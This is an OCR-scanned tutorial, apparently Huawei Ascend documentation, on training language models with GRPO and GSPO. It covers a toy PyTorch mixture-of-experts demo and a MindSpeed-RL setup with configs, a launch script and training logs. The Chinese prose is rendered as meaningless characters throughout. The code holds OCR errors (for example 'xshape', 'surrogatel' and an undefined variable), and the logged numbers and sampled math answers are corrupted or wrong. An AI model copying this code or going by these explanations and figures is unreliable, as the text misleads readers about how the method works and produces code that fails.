ISHERIZTH FSDP2 HTH RE%,

o NEKE: BiRkRIAFABFREREIEEINE, MaRREBEREINEF] LoRA IER
1/N (N BEIEFHTE ) . EFRSABESEK.

o tEIRZE: BILFIxMEAY, FSDP STEITERI All-Gather HEEFFFHENTENE, 1THE
J53ZB0 Reduce-Scatter EXEHEEREE.

Trainer.get_optimizer(model): % model.parameters() &84 28

TrainEngine.train() :

| self.trainer.train()

HA TrainEngine.train() A97&IR .
® TrainEngine.train_step(batch) PERREIMEIITE (model(inputs))
® TrainEngine.train_step(batch) PWER/[E{ERE (loss.backward())

® optimizer.step()
REHNREFMER, 7% LoRA IXE.
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<A

AREDFETH 7 &R SFT 3046, BT FahSCH LoRA/QLORA ITERTE, IR EARIERY
TERFORF
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RLHF

3.1 SCIGN4E

ANELIGFEISEARERY RLHF £7K, &4 GRPO 5 GSPO MRS &L, IBEEET
PyTorch SCEIRf &I EITEIMZAIEMRIRERIE, FIER) MindSpeed-RL {EZSH#1TLIZLE
ik . B EAFIERT SHBLRESES, BPWFEIELEERBUEIFAME, IBFKE
BN S RISEERBE ST

3.2 LIS

3.2.1 RLHF &xmfEscm
=HF PyTorch SCI GRPO # GSPO W& 72

Actor Model: FE#A—1 MoE MZEF BN #iaL, B2 Block, &1 Block FEEHER
Attention 285§

Reward Modle: @TiZBRFHRNNCE
TR BERE

BIALLT ap SR — N EIANE T 5epk RLHF BXSEISATRIE

conda create -n rlhf python=3.11 -y
conda activate rlhf

£ sft MEARRIRTENTE:

pip install torch
pip install matplotlib
pip install jupyterlab # &Ji%

$IE2 BATIAES

import torch

importtorch.nn as nn

import torch.optim as optim
import matplotlib.pyplot as plt
import numpy as np

torch.manual_seed (42)
np.random.seed(42)
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LI 3 KESHEES

REHEREN, CUERRITENN ((BEAEERBE Token, SFEUIELEMZTE Token F
EEESE ) o

VOCAB_SIZE =10
SEQ_LEN =24
GROUP_SIZE = 8
HIDDEN_DIM = 32

def compute_rewards(generated_tokens):
rewards = []
for seq in generated_tokens:
r=00
for i, token in enumerate(seq):
ifi% 2==0and token% 2==1:r +=1.0
ifi% 2==1and token % 2==0:r +=1.0
if i > 0 and token == seq[i-1]: r -=2.0
rewards.append(r)
return torch.tensor(rewards, dtype=torch.float32)

LA IEMLE

FIEE— /MRS MoE 48, BEM Block, 81 Block 85— 1EZIBHEF Attention
=

class MoEBlock(nn.Module):
def _init_ (self, hidden_dim, num_experts=4, top_k=2):

super()._init_ ()

self.num_experts = num_experts

self.top_k = top_k

self.router = nn.Linear(hidden_dim, num_experts)

self.experts = nn.ModuleList([
nn.TransformerEncoderLayer (

d_model=hidden_dim, nhead=4, batch_first=True, dim_feedforward=64

) for _ in range(num_experts)

D

self.norm = nn.LayerNorm (hidden_dim)

def forward(self, x):
B, L, D = xshape
x_flat = x.view(-1, D)
router_logits = self.router(x_flat)
routing_weights = torch.softmax(router_logits, dim=-1)

topk_weights, topk_indices = torch.topk(routing_weights, self.top_k, dim=-1)
topk_weights = topk_weights / (topk_weights.sum(dim=-1, keepdim=True) + 1e-6)

output_flat = torch.zeros_like(x_flat)
for k in range(self.top_k):
expert_idx = topk_indices[:, k]
weight = topk_weights[:, k].unsqueeze(-1)
for j in range(self.num_experts):
mask = (expert_idx == j)
if mask.any():
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selected_tokens = x_flat[mask].unsqueeze(1)
expert_out = self.experts[j] (selected_tokens).squeeze(1)
output_flat[mask] += expert_out * weight[mask]

output = output_flatview(B, L, D)
return self.norm (output + x)

class MiniMoE(nn.Module):
def __init_ (self, vocab_size, hidden_dim):
super().__init_ ()
self.embedding = nn.Embedding(vocab_size, hidden_dim)
self.block1 = MoEBlock(hidden_dim, num_experts=4, top_k=2)
self.block2 = MoEBlock(hidden_dim, num_experts=4, top_k=2)
self.head = nn.Linear(hidden_dim, vocab_size)

def forward (self, x):
emb = self.embedding(x)
out1 = self.block1(emb)
out2 = self.block2(out1)
logits = self.head (out2)
return logits

@torch.no_grad()
def generate(self, batch_size, seq_len):
return torch.randint(0, VOCAB_SIZE, (batch_size, seq_len))

LIRS MEIRICERENFD KL fhit2s
B2 GSPO 1 GRPO RYFRKRERELFN K3 {hitaS,

def get_selected_log_probs(model, tokens):
logits = model(tokens)
log_probs = torch.log_softmax(logits, dim=-1)
selected_log_probs = log_probs.gather (2, tokens.unsqueeze(-1)).squeeze(-1) # (B, L)
return selected_log_probs

def compute_kl_penalty_k3(actor_log_probs, ref_log_probs):
K3 fhites: THEMEE, HERE, BEdER
KL = E[rho - log(rho) - 1] where rho = exp(log_actor - log_ref)
log_ratio = actor_log_probs - ref_log_probs
ratio = torch.exp(log_ratio)
kl_per_token = ratio - log_ratio - 1.0
return kl_per_token.mean()

def compute_advantages(rewards):
mean_r = rewards.mean()
std_r = rewards.std() + 1e-8
advantages = (rewards - mean_r) / std_r
return advantages

T RIRK AR

def compute_loss(algo, actor_log_probs, ref_log_probs, advantages, kl_penalty, clip_eps=0.2, beta=0.0):
if algo == "GRPO™:
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# Token RAITE
ratios = torch.exp(actor_log_probs - ref_log_probs)
clipped_ratios = torch.clamp(ratios, 1 - clip_eps, 1 + clip_eps)
surrogatel = ratios * advantages.unsqueeze(1)
surrogate2 = clipped_ratios * advantages.unsqueeze(1)

else:
# GSPO FAIRFIITE (BBEREXITTER mean)
seqg_actor_log_prob = torch.mean(actor_log_probs, dim=1)
seq_ref_log_prob = torch.mean(ref_log_probs, dim=1)
ratios = torch.exp(seq_actor_log_prob - seq_ref_log_prob)
clipped_ratios = torch.clamp(ratios, 1 - clip_eps, 1 + clip_eps)
surrogatel = ratios * advantages
surrogate2 = clipped_ratios * advantages

ppo_loss = -torch.mean(torch.min(surrogate, surrogate2))

# & Loss = PPO Loss + beta * KL Penalty (GSPO 7EiIIZAF{EN beta=0.0)
total_loss = ppo_loss + beta * kl_penalty

return total_loss

L6 ISR

def train_model(algo="GRPO", epochs=100, beta=0.0):
actor_model = MiniMoE(VOCAB_SIZE, HIDDEN_DIM)
ref_model = MiniMoE(VOCAB_SIZE, HIDDEN_DIM)
ref_model.load_state_dict(actor_model.state_dict())
ref_model.eval()

optimizer = optim.Adam (actor_model.parameters(), lr=0.001)
history = {'rewards". [], 'losses" [], 'grad_norms" [], 'kls" [1}

for epoch in range(epochs):
optimizer.zero_grad()
sampled_tokens = actor_model.generate(GROUP_SIZE, SEQ_LEN)
rewards = compute_rewards(sampled_tokens)
advantages = compute_advantages(rewards)

# {SGRENEAH token B9 log_prob
actor_log_probs = get_selected_log_probs(actor_model, sampled_tokens)
with torch.no_grad():

ref_log_probs = get_selected_log_probs(ref_model, sampled_tokens)

# fEF K3 fEits8tE KL
kl_penalty = compute_kl_penalty_k3(actor_log_probs, ref _log_probs.detach())

loss = compute_loss(algo, actor_log_probs, ref_log_probs, advantages, kl_penalty, beta=beta)
loss.backward()

grad_norm = 0.0
for p in actor_model.parameters():
if p.grad is not None:
grad_norm += p.grad.norm().item() ** 2
grad_norm = np.sqrt(grad_norm / len(list(actor_model.parameters())))

optimizer.step()
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history['rewards'].append (rewards.mean().item())
history['losses'].append(loss.item())
history['grad_norms'].append(grad_norm)
history['kls'].append (kl_penalty.item())
if (epoch+ 1) % 20 == 0:
print(f"[{algo} (B={beta})] Epoch {epoch+1}/{epochs} | Reward: {rewards.mean().item():2f}
| Loss: {loss.item():4f} | Grad: {grad_norm:4f} | KL: {kl_penalty.item():4f}")

return history

=

7 HEEIE{TARIRMCERE

# GRPO Fig KL #&57 (beta=0.05)
print("Training GRPO (K3 KL, f=0.05)...")
grpo_history = train_model(algo="GRPQO", epochs=100, beta=0.05)

# GSPO XiF] KL #&57] (beta=00, XIF¥ESCTFESLEL)
print("\nTraining GSPO (No KL, 3=0.0)...")
gspo_history = train_model(algo="GSPO", epochs=100, beta=0.0)

epochs = range(1, 101)
fig, axs = plt.subplots(4, 1, figsize=(10, 16))

axs[0].plot(epochs, grpo_history['rewards'], label='"GRPO (Token-level, =0.05)', color="red', alpha=0.7)
axs[0].plot(epochs, gspo_history['rewards'], label='GSPO (Sequence-level, f=0.0)', color='blue’,
alpha=0.7)

axs[0].set_title('Average Reward over Epochs')

axs[0].set_ylabel('Reward")

axs[0].legend()

axs[0].grid(True)

axs[1].plot(epochs, grpo_history['losses'], label='"GRPQ", color="red', alpha=0.7)
axs[1].plot(epochs, gspo_history['losses'], label='"GSPO', color='blue’, alpha=0.7)
axs[1].set_title('Total Loss (PPO + beta * K3 KL) over Epochs')
axs[1].set_ylabel('Loss')

axs[1].legend()

axs[1].grid(True)

axs[2].plot(epochs, grpo_history['grad_norms'], label='GRPO', color="red', alpha=0.7)
axs[2].plot(epochs, gspo_history['grad_norms'], label='GSPO', color='blue', alpha=0.7)
axs[2].set_title('Average Gradient Norm')

axs[2].set_ylabel('Grad Norm")

axs[2].legend()

axs[2].grid(True)

axs[3].plot(epochs, grpo_history['kls'], label='"GRPO (Constrained)', color="red', alpha=0.7)
axs[3].plot(epochs, gspo_history['kls'], label='GSPO (Unconstrained drift)', color='blue', alpha=0.7)
axs[3].set_title('K3 KL Divergence from Reference Policy over Epochs')
axs[3].set_xlabel('Epoch")

axs[3].set_ylabel('K3 KL Penalty')

axs[3].legend()

axs[3].grid(True)

plttight_layout()
plt.show()
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Training GRPO (K3 KL, B=0.05)...

[GRPO (B=0.@5)] Epoch 20/18@ | Reward:
[GRPO (B=0.05)] Epoch 40/160 | Reward:
[GRPO (B=6.05)] Epoch 66/10@ | Reward: 4.58 | Loss: ©.0060 | Grad: ©.8358 | KL: ©.6081
[GRPO (B=0.05)] Epoch 80/16@ | Reward: 7.62 | Loss: ©.8045 | Grad: ©.0391 | KL: ©.0088
[GRPO (B=0.e5)] Epoch 100/100 | Reward: 9.50 | Loss: ©.8049 | Grad: ©.0514 | KL: ©.0134

-0.0058 | Grad: 0.0469 | KL: 0.0112
-0.0010 | Grad: 0.0319 | KL: 0.0065

7.38 | Loss:
6.88 | Loss:

Training GSPO (No KL, B=0.9)...

[GSPO (B=0.e)] Epoch 20/10@ | Reward: 5.12 |

[GSPO (B=0.e)] Epoch 48/10@ | Reward: 5.€0 |

[GSPO (B=6.@)] Epoch 6@/16@ | Reward: 8.75 | Loss: -@.0175 | Grad: ©.838@ | KL: ©.1433
[GSPO (B=8.8)] Epoch 80/10@ | Reward: 8.88 | Loss: -8.825@ | Grad: ©.0327 | KL: ©.1135
[GSPO (B=0.@)] Epoch 100/16@ | Reward: 8.88 | Loss: ©.8240 | Grad: ©.8398 | KL: ©.1395

-0.0219 | Grad: ©.0346 | KL: 0.0617
©.0180 | Grad: ©.8352 | KL: 8.1957

Loss:
Loss:

5834

Average Reward over Epochs

11 4

10 4

Reward

—— GRPO (Token-level, B=0.05)
—— GSPO (Sequence-level, =0.0)
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3.2.2 EF MindSpeed-RL SEH GRPO

MindSpeed-RL IR iEZ4 (TERRIIAES rihf 4 )
(E%%9F CANN)

LB

W m " | :M)““/ ‘N,‘ i

%R+, GRPO {EAT KL &SI, GSPO BEAE Clip £9%R, KL RZ#9 0,

ZRESRTEE, ELhR Mo ijllg,

HIREMFEST GSPO,
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source /usr/local/Ascend/cann/set_env.sh
source /usr/local/Ascend/nnal/atb/set_env.sh

L% vllm R AR AR

# pydantic ShRABEF=ENR, IEERARE

pip install pydantic==2.12.0

git clone -b releases/v0.11.0 https://github.com/vllm-project/vilm.git
cd vllm

git checkout b8b302c

VLLM_TARGET_DEVICE=empty pip install .

cd .

vllm_ascend &2

git clone -b v0.11.0-dev https://github.com/vlim-project/vilm-ascend.git
cd vllm-ascend

git checkout 1b16c01

pip install -r requirements.txt

export COMPILE_CUSTOM_KERNELS=0

python setup.py install

( BH28/0 x86 5218, HESTiF1T PyTorch {52 %HRY torch #1 torch_npu &4, &4
vllm_ascend B, ;¥ requirements.txt 0 pyproject.toml & torch F torch_npu B9%%E )

[l = =

ray &<

pip install ray==2.42.1

ray 4ERGHI A B HERIBRIZ -

# IALEERT ray==2.421 LI

RAY_PATH=$(python -c "importray; print(ray._ file_ )")
UTILS_PATH=$(dirname "$RAY_PATH")"/_private/utils.py"

sed -i 's/os.chmod(\(.*\), 000777)/os.chmod(\1, 000750)/g" "$UTILS_PATH"

=4EEREE jemalloc Z3E:

| yum install jemalloc # sudo apt install libjemalloc2

BEETESA jemalloc:

export LD_PRELOAD=/usr/lib/aarch64-linux-gnu/libjemalloc.so.2

MindSpeed-RL &%

git clone https://gitcode.com/Ascend/MindSpeed-RL.git

git clone https://gitcode.com/Ascend/MindSpeed.git

cd MindSpeed

git checkout ac9f0e74061f968fdb285aa6a0df68a980fb0412 # £ MindSpeed-LLM {KEfiRA
pip install -r requirements.txt

cp -r mindspeed ../MindSpeed-RL/

cd .

# Megatron M github &, iERIRMLEEESIT

git clone https://github.com/NVIDIA/Megatron-LM.git
cd Megatron-LM

git checkout core_v0.12.1

cp -r megatron ../MindSpeed-RL/
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cd ..

git clone https://gitcode.com/Ascend/MindSpeed-LLM.git
cd MindSpeed-LLM

git checkout a2c0733b9c8674e240a0a7607ed3f973115cc6b7
cp -r mindspeed_llm ../MindSpeed-RL/

cd .

cd ./MindSpeed-RL
pip install -r requirements.txt
pip install antlr4-python3-runtime==4.9.3 --no-deps

# ;£3=: MindSpeed RL R"3z#F triton, WNERIAEHFA triton-ascend FEEIE
# pip uninstall triton-ascend

X2 FREMEEIIMH

https://huggingface.co/Qwen/Qwen2.5-7B
BT ap S IREVEEL S {4

huggingface-clidownload --resume-download Qwen/Qwen2.5-7B --local-dir hf_path/Qwen/Qwen2.5-7B
# 1.0 LA ERRZASEEH#ES hf download

WRTEBE, BJE#A HF-Mirror, BECENETEREHE FE:

| export HF_ENDPOINT=https://hf-mirror.com

® 3 MindSpeed-LLM %%

GRPO EEREINELIYER Megatron-Mcore 18z, BEtEIINETEH TIREINER
.,

WEHEIREEZLEE MindSpeed-LLM, J9iE#%F0 MindSpeed RL HHBI{KER HSS, FHiEEIIAS

Ee 3

conda create -n mindspeedllm python=3.11 -y
conda activate mindspeedllm

# IBIRIESEPRIR R TE R

source /usr/local/Ascend/cann/set_env.sh
source /usr/local/Ascend/nnal/atb/set_env.sh

L% MindSpeed,

git clone https://gitcode.com/ascend/MindSpeed.git

cd MindSpeed

git checkoutmaster # 1JJ#%% MindSpeed AJ master 7332
pip3install -r requirements.txt

pip3install -e .

cd ..

#HEE MindSpeed LLM & Megatron-LM &S,

| git clone https://gitcode.com/ascend/MindSpeed-LLM.git
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git clone https://github.com/NVIDIA/Megatron-LM.git # M github %k Megatron-LM, iSHHFEMLEEET
]

cd Megatron-LM

git checkout core_v0.12.1

cp -r megatron ../MindSpeed-LLM/

cd ./MindSpeed-LLM

git checkout master

mkdir logs

pip3install -r requirements.txt # TIEEERKEIE

4 (EBILEE
#h3E shell B)A ckpt_convert.sh

# (& ascend-toolkit &R
source /usr/local/Ascend/ascend-toolkit/set_env.sh
export CUDA_DEVICE_MAX_CONNECTIONS=1

# REREINEERSH
python convert_ckpt.py \
--use-mcore-models \
--model-type GPT\
--load-model-type hf\
--save-model-type mg \
--target-tensor-parallel-size 4 \
--target-pipeline-parallel-size 2 \
--add-gkv-bias \
--load-dir ./hf_path/Qwen/Qwen2.5-7B/ \ # REIZ {4 iE
--save-dir ./model_weights/qwen2.5_mcore/\ # EiRERFEBHIE
--tokenizer-model ./ hf_path/Qwen/Qwen2.5-7B/tokenizer.json \
--model-type-hf gwen2-moe\

£ 5 iR

J#RZE MindSpeed-RL IR,

conda activate rlhf |

{£F8 Math-17k #oiReE (IZEXAGREYRESERSS ) , M Math-17k #UREERI1Z:, T 2RRcE
{3 math_17k_acc,

# 1%EY math-17k ZUEE

mkdir dataset

cd dataset/

wget https://huggingface.co/datasets/BytedTsinghua-SIA/DAPO-Math-17k/resolve/main/data/dapo-
math-17k.parquet

cd ..

32 yaml /&, ./config/datasets/math_17k.yaml:

input: ./dataset/dapo-math-17k.parquet
tokenizer_name_or_path:./ hf_path/Qwen/Qwen2.5-7B/
output_prefix: ./dataset/data

handler_name: Math17kAlpacaStylelnstructionHandler
tokenizer_type: HuggingFaceTokenizer
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workers: 8

log_interval: 1000

prompt_type: empty

dataset_additional_keys: [labels]

map_keys: {"prompt":"prompt", "query":"","response": "reward_model", "system":""}

EMEGETALIERY, FEARER PLIrRY SRR IR TE B

® map_keys: ERANIEHUEER prompt FER{EHEERLATS N prompt FE;, B
reward_model FEZBRET A EIREELS HAVHIE R response FER . 75)I|8FFIART
response FEEN £#MET /9 adaset_additional_keys Ff{ label ER.

® dataset_additional_keys: EZHUEEHEEMIIFERTIGITEEEZAR, ALLRNE
adaset_additional_keys &1, 1EI)IIZRATAI L AE @IS adaset_additional_keys HHIFERZ
SRETRAYEE, 40 data_source. task £,

® prompt_type: BcE yaml HRY prompt_type B AlBE R R IRIE T KIF TIEX ,
prompt_type AYE{L template &EHRAIZF, FFAE, 42 prompt RIERAMEIRA
E. template {EREXIRANERABTLLSE MindSpeed-
RL/configs/model/templates.json, EA name FEXIRILAMY prompt_type, 1EIEFEZE!
ARSI TIREE

map_keys: {"prompt":" prompt ", "query":"", "response": "reward_model", "system":""}

dataset_additional_keys: ["labels", "task"]

[REIESE HiEeEmRat et

prompt —map_keys—> prompt problem

reward_model —map_keys—> response i response

solution —discard¥X copy

task —additional®> task task
—— labels

B{RSCH ( mindspeed_rl/datasets/data_handler.py 5
R1AlpacaStylelnstructionHandler._tokenize_prompt ) :

for add_key in self.args.dataset_additional keys:
if add_key ==
model_inputs[’ = self. unwrapped_tokenizer.encode(
example["r ][-1]["content"], padding=False, add_special_ tokens=False)

model_inputs[add_key] = self._ unwrapped_tokenizer.encode(
example[add_key], padding=False, add_special_tokens=False)

rn model_inputs

MindSpeed-RL/configs/model/templates.json B9 “qwen_r1” &R0 :

[
{
"name": "qwen_r1",
"format_user": {
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"slots": [

"<|im_start|>user\nA conversation between User and Assistant. The user asks a question, and
the Assistant solves it. The assistant first thinks about the reasoning process in the mind and then
provides the user with the answer. The reasoning process and answer are enclosed within <think>
</think>and <answer> </answer> tags, respectively, i.e., <think> reasoning process here
</think><answer> answer here </answer>. Put your final answer within
\\boxed{}\n{{content}}<|im_end|>\n<|im_start|>assistant\n"

1
j#
"format_system": {
"slots": [
"<|im_start|>system\n{{content}}<|im_end|>\n"
1
b
"format_observation": {
"slots": [
"<|im_start|>tool\n{{content}}<|im_end|>\n<|im_start|>assistant\n"
1
h
"format_separator": {
"slots": [
"\n"
1
b

"default_system": "You are a helpful assistant.",
"stop_words": [

"<|im_end|>"
]I

"replace_eos": true

HATRIA S TEORARIRE

| bash examples/data/preprocess_data.sh math_17k

SGECENH
EGEE XS (2=, RIEEKIEH ) configs/grpo/grpo _qwen25_7b_A3.yaml,
defaults:
- model:

-qwen25_7b  # iRIEGENAOREIEN

megatron_training:
model: gwen25_7b
use_fused_rmsnorm: true
use_mcore_models: true
sequence_parallel: true
use_flash_attn: true
no_masked_softmax_fusion: true
attention_softmax_in_fp32: true
no_gradient_accumulation_fusion: true




S

HUAWEI

REYSIISER TR

use_fused_swiglu: true

use_fused_rotary_pos_emb:true

bf16: true

use_distributed_optimizer: true

tokenizer_type: PretrainedFromHF
tokenizer_name_or_path: ./Qwen2.5-7B # BEXNHIRER
global_batch_size: 32 # RIERIRHITECE R 8 RufEAEIAERE
seqg_length: 2048

save_interval: 100

train_iters: 500

stage: ray_grpo

attention_dropout: 0.0

init_method_std: 0.01

hidden_dropout: 0.0

distributed_backend: nccl

no_shared_storage: true

dataset_additional_keys: ['labels',]

data_path: ./dataset/deepscaler/data # )| GEUEIRER
split: 100,0,0

no_shuffle: false

full_shuffle_instruction_dataset: false

seed: 1

reuse_fp32_param: false

actor_config:
model: qwen25_7b
micro_batch_size: 4
tensor_model_parallel_size: 2
pipeline_model_parallel_size: 2
Ir: 1e-6
Ir_decay_style: constant
min_Lr: 0
weight_decay: 0.01
lr_warmup_fraction: 0.0
clip_grad: 1.0
adam_betal: 0.9
adam_beta2: 0.95
finetune: true
load: ./ckpt # BRIRERINERRE
save: ./ckpt
no_load_optim: true
no_load_rng:true

rl_config:
guarantee_order: false
use_integrated_worker: true
blocking:true
gamma: 1.0
lam: 0.95
actor_forward_micro_batch_size: 4
ref_forward_micro_batch_size: 4
adv_estimator: group_norm
kl_penalty: low_var_kl
kL_ctrl_type: fixed
init_kl_coef: 0.001

28400
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mini_batch_size: 32
max_prompt_length: 2048
epochs: 1
clip_ratio: 0.2
entropy_coeff: 0.0
shuffle_mini_batch: false
n_samples_per_prompt: 8
rule_reward: true
verifier_function: ["math_17k_acc"]
verifier_weight: [1.0]
log_max_throughput: false
num_cpus_for_local_task: 1.0
use_tensorboard: true
actor_resource:

num_npus: 8 # SCFRR3

generate_config:
trust_remote_code: true
offload_train_optimizer: true
offload_train_grad: true
offload_train_param: true

# HIERHFHITEE
infer_tensor_parallel_size: 1
infer_pipeline_parallel_size: 1
infer_expert_parallel_size: 1

# vilm EEEXIRE
max_num_seqs: 1024
max_model_len: 4096
max_num_batched_tokens: 8192
dtype: "bfloat16"
gpu_memory_utilization: 0.4

# RERE
sampling_config:
logprobs: 1
max_tokens: 2048
top_p: 1.0
top_k: -1
min_p: 0.0
temperature: 1.0
detokenize: false

FE R RIFINIAT ( RLVRESS ) , MindSpeed-RL FRERH T E AT reward ¥R, (IRFE
RIEBCHEIEENFERTS, =iTECHEENHN : MindSpeed-RL #NE FIRIR EREL AR
STR9LREA0T ( /mindspeed_rl/models/rule_verifier.py )
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ef verifier(responses, data, config, **kwargs):

logger.info(f"
rule_verifier -
accuracy_reward,
format_reward,
reasoning_steps_reward,
: strict_format_reward,
': base_model_accuracy_reward,
“: math_17k_accuracy_reward,
accuracy_reward_for_dapo,
0_accuracy_reward,
math_verify accuracy_reward,

0l_reward
3

labels = data["labels"]
tool_call nums = data.get('tool call num', []
rewards = [0.8] * len(labels)

metrics = {}

verifier function = config.verifier function
verifier weight = config.verifier_ weight

for idx, fun_verifier in rate(verifier_function):
in rule_verifier_ function:

scores = rule_verifier_function[fun_verifier](sequences=responses, answers=labels, tool call nums=tool_call nums)

)15 BL BRI yaml 1, HNSRTE verifier_function FISETHINZ, NEERARMNAIREGTE
N, WF.

verifier_function: ["math_17k_acc "]

LIS thigE 7 math_17k_acc,

def math_17k accuracy reward(sequences, answers, *:
cores = []
or sequence, answer in zip(sequences, answers):

box match = new acc(seguence, answer)
scores. append{box _match)

A ERNESHIHE, FEEAEXNAY math_17k_accuracy_reward, itEMNIBIEREHNS
Z—1HY responses list, EREIEXT list HAYERE response &B11ESS ( FIESLEZ=LLISRE]
18& 0, Z7th ) , FHR[E— score list,

ST Bk
HIEE BRI examples/grpo/grpo_trainer_qwen25_7b.sh

pkill -9 python

ray stop --force

export RAY_DEDUP_LOGS=0

export HYDRA_FULL_ERROR=1

export LD_PRELOAD=/usr/local/lib/libjemalloc.s0.2

#HXBREINyaml ¥ EE, 2% hydra HN
DEFAULT_YAML="grpo_qwen25_7b_A3"
YAML=${1:-$DEFAULT_YAML}

echo "Use $YAML"

ulimit -n 32768
mkdir logs
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# RIEAPERIAME umask I8, BREEAFASIHE umask IZRESHERMIT SNRAIHE
umask 0027

export TASK_QUEUE_ENABLE=2

export HCCL_IF_BASE_PORT=24703

# BERINZSUHEIE(RT@IE find /usr -name libjemalloc.so.2 FiA)
export LD_PRELOAD=/usr/lib/aarch64-linux-gnu/libjemalloc.so.2
export MALLOC_MMAP_THRESHOLD_=512768

export LCAL_COMM_ID=127.0.0.1:27001

NNODES=1

NPUS_PER_NODE=8

#HEX TN ET = IP

MASTER_ADDR="IP FOR MASTER NODE" # IAMEXIXBIT S IP

#HEBN R RAIEERM <

SOCKET_IFNAME="SOCKET IFNAME FOR CURRENT NODE"

HIRENHRITO = IP

CURRENT_IP=$(ifconfig $SOCKET_IFNAME | grep -Eo 'inet (addr:)?([0-9]{1,3}\.){3}[0-91{1,3}' | awk
{print $NF}")

if [ "$MASTER_ADDR" = "$CURRENT_IP" ]; then

# TP REH

ray start --head --port 6766 --dashboard-host=$MASTER_ADDR --node-ip-address=$CURRENT_IP --
dashboard-port=8260 --resources='{"NPU": '$NPUS_PER_NODE'}'

while true; do
ray_status_output=$(ray status)
npu_count=$(echo "$ray_status_output" | grep -oP '(?<=/)\d+\.\d+(?=\s*NPU)' | head -n 1)
npu_count_int=$(echo "$npu_count" | awk {print int($1)}")
device_count=$((npu_count_int / $NPUS_PER_NODE))

# ¥ device_count 255 NNODES 1%
if [ "$device_count" -eq "$NNODES" ]; then
echo "Ray cluster is ready with $device_countdevices (from $npu_count NPU resources),
starting Python script."

ray status
python cli/train_grpo.py --config-name $YAML 2>&1 | tee logs/training.log
break

else
echo "Waiting for Ray to allocate $SNNODES devices. Current device count: $device_count"
sleep 5

fi

done

else
# FRRERNFEDSFEM ray BEIRID
while true; do
# =% Ray &EE
ray start --address="$MASTER_ADDR:6766" --resources="{"NPU":'$NPUS_PER_NODE'}' --node-ip-
address=$CURRENT_IP

# MEEEEENI
ray status
if [$? -eq 0 ]; then
echo "Successfully connected to the Ray cluster!"
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break

else
echo "Failed to connectto the Ray cluster. Retrying in 5 seconds..."
sleep 5

done

sleep 600

BRI EERE
® Ray EBEHEE
o HERRAE
o iz
AR 2L,

H.22A9 MASTER_ADDR —%{, CURRENT_IP AN =/9 IP (B
MASTER_ADDR 5 CURRENT_IP A&EiZ&H localhost),

TRIE(E A 22RYIER, {82 NNODES . NPUS_PER_NODE BtE, @I Atlas A3 i)l
ZYFERElRE NNODES 5 1 (H Atlas A3 i)l % %= NNODES 92)
NPUS_PER_NODE /3 16; Ef#]] Atlas A2 ill% = RENgE NNODES 3 1 (XU
Atlas A2 i)l NPUS_PER_NODE ¥ 8,

FRahill

b= N

[ cli/train_grpo.py
FEZE(RIE MASTER_ADDR 5 CURRENT_IP —%, #NERAZH,
EERIE

2 RIERT

o

NN

i%E NNODES #2)

NN

bash examples/grpo/grpo_trainer_qwen25_7b.sh

tep by step. The last line of your response should be of

Compute the three-digit number that satisfies the following propertie:
The hundre: it and ones digit are the same, but the tens digi

- The numbe

- when the number

s different.

the remainder is $1%.

by
ded by $58,

ne after "Answer
-11 07:00:32] IN ant:

Remember to put your & er on its own
)5-11 07:00:32 - INFO - [262

- INFO - [2026-05-11 07:@80:32] INFO Step 1: To solve for the three-digit number that satisfies the given conditions, we're gg
stand that a three-digit number in the form 1o

pply the condition that the number

remember the condition when the number i

ng a remainder of $1% when divided by

+ 16b + a can be wr\ttsn la + 16b, simplifying notation.
that the s digits mus e diy

g by $9%.
remainder m‘ §1$ so, the t dwgwt must be either $1% or

and ones digits are the same

with ths numbsr 101a + 16b, where a and b are digits and the hundreds
3 digit sum 2a + b must be even. we can only have b even if b = 0 te maLs the sum even (since 2a is alway

sible by nine condition), b

. Howewer, 1 +

. Examine $3 + 3 u@ which ble by $9%, and 333 mod 5 = 3, which does not satisfy the condition

. the number i 5. Examine $5 + 15%, which is di ible by 494, and 555 mod 5 = @, which satisfies the conditien becau:

Therefore, the three-digit number that fie ren_properties is \boxed{
1 e - IN = -11 07 bels
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User

INFO Solve the following math pr tep by step. The last line of your response should be of the fol

Five unit squares are arranged in the coordinate pwsns shown, with the lower left corner at the origin. The -wsntsd ]ms, extending from
the ermre region into two regions of equal area. The ori 1 wer is in \(\frac{k}{m}\) format, please give the value of

) Remember to put your answer on its own line after "Answer:"
) 2026-85-11 07:04:15,678 - INFO - [2026-85-11 07 5] IN stant:

11 67:04:15,678 - INFC 2 ® 5] INFO a numeric answer, just enter the value as it is (also by itself on its own line).

Double Space
) ) The first step is to e for c. The equation uf the Tline is y If you substitute x = 3 and y = 3, you get 3 =3 - c, c = 8. The desired area of
regmn must be 1 the area of the red region m by 6.5. subtracting the area of the blue region and ths tnp left unit square yields 8.5 = ¢-1/2 -1. Solving fo
\ ‘Frsc""HU‘ . The answer is 5.

) Ewght hundred tickets were sold to a concert. Three-fourths of those who bought the ticket came before the start of the concert. Five-ninths of the remaining
t song. Four-ninths of the remaining arrived before the fifth song. Seven-twelve of the rest came during the sixth song and the rest arrived during th
. How many peup'\e arrived during the intermission and the beginning of the concert are two times fewer than thi tl arrived before the fifth son
he answer is 72.

itial gJ wa; this maller than the actual number (the actual numbsr 99), so Joe provides him with the hint "too low by twelw
412 and reach the correct answer of 160. The a 10

She adds 3 tablespoons of ginger, 1 teaspoon of cardamom, 1 teaspoon of mustard, 2 tablespoons of garlic, and four

e
ard. What percentage of the spt is ginger, rounded to the nearest integer?
) The answer 4

For the first i erages 7 tickets per week. Unfortunately, during the fourth week, he gets suspended for three d: u
e ke up for the lost t £S5 {rras e nrwg\na] average for the remaining four days he works that week. What i new average per day for eyenT e

ued during the first three weeks. On the fourth week, he i: p: including the tickets issued during tl
a month. Now, because there is 31 days in a month, this s es 35 1 =1.13 tickets per day. Therefore,

verifier st:
= verifier end
compute
finish compute ref log prob
11 ; twmmg,updste :
mi
:root:finish generate_sequences(Rulef 2026-05-11 07:05:41,463 - INFO - [2026-85-11 07:05:41] I
- [2026-85-11 @ 0 User:
tep by step. The last line of your response should be of the for

Given §f(z) = z°2-192§, there are complex numbers $z$ with the property that $z$, $f(z)$, and $f(f(z))$ are the vertices of a right triangle in the complex pl
)$. There are positive integers $m$ and $n$ such that one such value of $z$ is $m+\sqrt{n}+111$. Find $men$.

Remember to put your answer on L
1,464 - IN N A ant

-11 07: 1,464 - INF [2( 1] INFO Step 1: If we are given that $f(z) = 272 - 192§, the three points $z$, $f(2)$, ;nd $f(f(z))$ fo

16 2
gle in the complex plane with a right angle at Sl e foplnes AN T (s (T Setiey i S e G 0 o
lish the three points' positions in the mmmex plane on the condition of a right triangle with $f$ being a right angle.To
